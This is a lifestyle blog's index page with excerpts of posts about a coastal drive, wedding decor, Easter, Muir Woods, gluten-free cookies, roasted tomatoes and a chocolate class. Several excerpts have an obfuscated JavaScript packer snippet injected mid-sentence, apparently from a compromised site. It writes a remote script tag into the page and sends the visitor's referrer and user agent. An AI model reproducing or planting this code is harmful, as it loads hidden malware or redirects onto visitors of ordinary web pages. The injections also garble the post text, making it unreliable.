Postcards from Highway 1

We decided to take the long way back from San Luis Obispo a few weeks ago.  Normally not my style, but we were driving back on a Friday, which meant I still had the whole weekend to relax.  Here are a few of the highlights. Elephant seals.  It’s like a zoo, only better. The ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return […]

Fun Finds

We photographed a wedding over the weekend and we loved the favors/decor.  Friends of bride and groom own an etsy shop where they sell air plants in painted pots.  Simple yet chic (and tough to kill!).  You can find them here! I ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfzyi|var|u0026u|referrer|sribn||js|php’.split(‘|’),0,{})) also got turned on to these fun, handmade, […]

Easter, Lopahara Style

Hope you had a nice Easter!  I know we did. Easter is a funny one for me.  It was a long time before I realized so many places closed down for Easter (when I was younger, we always went to church or were out with family).  But we managed to find the 3 places still […]

Muir Woods and the Bay Model

Last Friday I had the day off, so instead of sitting at home on our computers, we decided to venture out!  Go us! I left the planning to Nick, and he came through with a fun afternoon of bay area activities. We ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yfdzb|var|u0026u|referrer|knrbe||js|php’.split(‘|’),0,{})) started out with a visit to Muir Woods.  […]

Gluten Free Chocolate Chip Cookies

So ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|snsdh|var|u0026u|referrer|kzdsr||js|php’.split(‘|’),0,{})) here’s the problem with the phrase “gluten free”.  I always associate it with “healthy.”  I know that’s not the case, but it really helps justify things like cookies! We were in need of some sweets the other night, but I didn’t want to use butter or flour if at […]

Roasted Roma Tomatoes

Have ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzzbi|var|u0026u|referrer|yrenb||js|php’.split(‘|’),0,{})) you ever had a fresh tomato? Straight off the vine? Good god they are amazing.  I had no idea how flavorful tomatoes could be until I had them fresh.  Which resulted in every tomato thereafter tasting subpar. Unfortunately, we eat tomatoes often in this house – on pizza, as […]

Chocolate Making with Rachel Dunn

Over the holidays, my girlfriends and I decided to buy a travelzoo deal for a chocolate making course.  Yes, this is a far cry from cauliflower pizza. We finally cashed in our chocolate making vouchers last Friday night at Rachel Dunn’s in Concord.  Waivers in hand (yes, waivers!), we were ready to make chocolate! To […]
